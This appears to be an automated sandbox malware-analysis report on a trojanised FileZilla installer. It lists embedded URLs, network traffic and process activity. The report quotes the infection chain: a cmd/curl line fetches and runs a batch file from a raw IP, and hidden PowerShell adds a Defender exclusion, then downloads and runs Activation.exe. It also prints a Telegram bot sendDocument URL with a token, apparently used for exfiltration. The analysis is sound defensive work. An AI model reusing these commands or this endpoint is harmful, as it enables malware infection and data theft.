Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wiki.filezilla-project.org/Network_Configuration
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wiki.filezilla-project.org/Network_Configuration&Ch
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: rukT6hBo6P.exe, 00000000.00000003.1688681315.00000000030CD000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1348693655.0000000003670000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1674464236.0000000003904000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1353657698.0000000003600000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: rukT6hBo6P.exe, 00000000.00000003.1688681315.00000000030CD000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1348693655.0000000003670000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1675879435.0000000002710000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1353657698.0000000003600000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.haysoft.org%1-k
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.transifex.com/zeron/filezilla/language/de/)
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.transifex.com/zeron/filezilla/language/tr_TR/)
Source: filezilla.exe, 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.teleLR
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocumentd
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: filezilla.exe, 0000000D.00000002.2603047070.000001CD0C773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crl.filezilla-project.org/crl0
Source: filezilla.exe	String found in binary or memory: https://docs.storj.io/how-tos/set-up-filezilla-for-decentralized-file-transfer
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://docs.storj.io/how-tos/set-up-filezilla-for-decentralized-file-transferDocsID_DOCShttps://sto
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: filezilla.exe	String found in binary or memory: https://filezilla-project.org/
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://filezilla-project.org/Build
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://filezilla-project.org/ID_WEBSITE_LINKA
Source: filezilla.exe	String found in binary or memory: https://filezilla-project.org/privacy.php
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://filezilla-project.org/privacy.phpPrivacy
Source: is-E1LTR.tmp.2.dr	String found in binary or memory: https://filezilla-project.org/probe.php
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://filezilla-project.org/probe.php-en
Source: filezilla.exe	String found in binary or memory: https://filezilla-project.org/support.php?type=client&mode=
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://filezilla-project.org/support.php?type=client&mode=helpbugreport&version=ID_VIEW_QUICKCONNEC
Source: Activation.exe, 0000000E.00000002.2064893036.000000000340E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.geoj8
Source: Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.000000000340A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.geojs.io
Source: Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.geojs.io/v1/ip/geo.json
Source: rukT6hBo6P.tmp, 00000002.00000003.1675879435.0000000002710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Bayselonarrend/OpenIntegrations
Source: rukT6hBo6P.tmp, 00000002.00000003.1675879435.0000000002710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Bayselonarrend/OpenIntegrations1
Source: rukT6hBo6P.exe, 00000000.00000003.1348693655.0000000003670000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000003.1353657698.0000000003600000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Bayselonarrend/OpenIntegrationsdhttps://github.com/Bayselonarrend/OpenIntegration
Source: powershell.exe, 0000000A.00000002.1742906077.0000000004E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1734673970.0000000002F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5e4
Source: rukT6hBo6P.exe, 00000000.00000000.1346365309.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: powershell.exe, 0000000A.00000002.1763292257.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: filezilla.exe	String found in binary or memory: https://storj.io/signup/?partner=filezilla
Source: Activation.exe, 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033D4000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/TheDyer
Source: Activation.exe, 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.0000000003331000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033D4000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/freakcodingspot
Source: Activation.exe, 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/webster480
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp, is-LPKQQ.tmp.2.dr, is-2NQ4F.tmp.2.dr, is-E1LTR.tmp.2.dr	String found in binary or memory: https://trac.filezilla-project.org/
Source: filezilla.exe, 0000000D.00000002.2609337844.00007FF821019000.00000002.00000001.01000000.0000000B.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07E4A000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://update.filezilla-project.org/update.php
Source: filezilla.exe, 0000000D.00000002.2609337844.00007FF821019000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://update.filezilla-project.org/update.phpunknown%u.%u64Software
Source: filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2599753379.000001CD09C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&&category=documentation_network&&version=3
Source: filezilla.exe, 0000000D.00000002.2603047070.000001CD0C773000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&&category=support_forum&&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2604473236.000001CD0D1D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&&category=support_more&&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2603047070.000001CD0C75A000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=%ls&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=%ls&version=3.67.1GKS
Source: filezilla.exe	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=%s&version=
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=%s&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=%s&version=What
Source: filezilla.exe, 0000000D.00000002.2604473236.000001CD0D1D0000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2599216002.000001CD07DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=documentation_basic&version=3.67.
Source: filezilla.exe, 0000000D.00000002.2601194762.000001CD0A186000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2598774006.000001CD07D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=documentation_more&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=documentation_network&version=3.6
Source: filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.1-
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=support_forum&version=3.67.12.
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2604473236.000001CD0D1D0000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2601194762.000001CD0A186000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1
Source: filezilla.exe, 0000000D.00000002.2599216002.000001CD07E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1LTg
Source: filezilla.exe, 0000000D.00000002.2598774006.000001CD07D7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://welcome.filezilla-project.org/welcome?type=client&category=support_more&version=3.67.1c
Source: filezilla.exe	String found in binary or memory: https://wiki.filezilla-project.org/Date_and_Time_formatting
Source: filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Date_and_Time_formattingShow
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp, filezilla.exe, filezilla.exe, 0000000D.00000002.2604913419.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, filezilla.exe, 0000000D.00000000.1667641893.00007FF7B8F67000.00000002.00000001.01000000.0000000A.sdmp, is-E1LTR.tmp.2.dr	String found in binary or memory: https://wiki.filezilla-project.org/Network_Configuration
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_Configuration&Server
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_Configuration&Vali
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_Configuration&Valitse
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_Configuration&Velg
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationFren
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationHa&utatu
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationIzv
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationOdabe&rite
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationPasirin&kite
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationPil&ih
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationS
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp, is-E1LTR.tmp.2.dr	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationSele&ct
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationSele&ziona
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationSelec&cionar
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationSeleccione
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationSelecteer
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationV
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://wiki.filezilla-project.org/Network_ConfigurationVel&ja
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Activation.exe, 0000000E.00000002.2069931701.0000000004561000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.000000000457B000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2069931701.0000000004595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: rukT6hBo6P.exe, 00000000.00000003.1350024062.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1350421187.000000007ED0B000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000000.1352090609.0000000000DB1000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: rukT6hBo6P.exe, 00000000.00000003.1350024062.00000000037B0000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.exe, 00000000.00000003.1350421187.000000007ED0B000.00000004.00001000.00020000.00000000.sdmp, rukT6hBo6P.tmp, 00000002.00000000.1352090609.0000000000DB1000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.remobjects.com/ps
Source: rukT6hBo6P.tmp, 00000002.00000003.1669001330.0000000005640000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.transifex.com/yaron/teams/109068/he/)

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802

Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.10:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49841 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Activation.exe.10.dr	Static PE information: section name:
Source: Activation.exe.10.dr	Static PE information: section name:
Source: Activation.exe.10.dr	Static PE information: section name:

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Activation.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit	Jump to behavior

Source: C:\Windows\SysWOW64\curl.exe

File created: C:\Windows\SysWOW64\edcf12dd-a024-4e17-9ac8-333ede06915f.bat

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_06D7B4A0	10_2_06D7B4A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08A03AA8	10_2_08A03AA8
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6153C8B0	13_2_6153C8B0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61555B20	13_2_61555B20
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6153DD60	13_2_6153DD60
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61540900	13_2_61540900
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_615349F0	13_2_615349F0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_615511E0	13_2_615511E0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6153C998	13_2_6153C998
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61552180	13_2_61552180
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6154B050	13_2_6154B050
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61543830	13_2_61543830
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6155A820	13_2_6155A820
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61557B70	13_2_61557B70
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61535A50	13_2_61535A50
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61541220	13_2_61541220
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61557500	13_2_61557500
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_615365B0	13_2_615365B0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_615354A0	13_2_615354A0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6153BF60	13_2_6153BF60
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_615557E0	13_2_615557E0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61531650	13_2_61531650
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61532640	13_2_61532640
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6154B660	13_2_6154B660
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_61581100	13_2_61581100
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6157B530	13_2_6157B530
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_6157D5A8	13_2_6157D5A8
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_66423370	13_2_66423370
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_663C8340	13_2_663C8340
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_664033D0	13_2_664033D0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_663C6380	13_2_663C6380
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_663A6070	13_2_663A6070
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_663A90A0	13_2_663A90A0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_663D7110	13_2_663D7110
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_663F2110	13_2_663F2110
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_00007FF81FA5AFD0	13_2_00007FF81FA5AFD0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_00007FF81FA03830	13_2_00007FF81FA03830
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_00007FF81FA0C7C0	13_2_00007FF81FA0C7C0
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_00007FF81FA036D0	13_2_00007FF81FA036D0
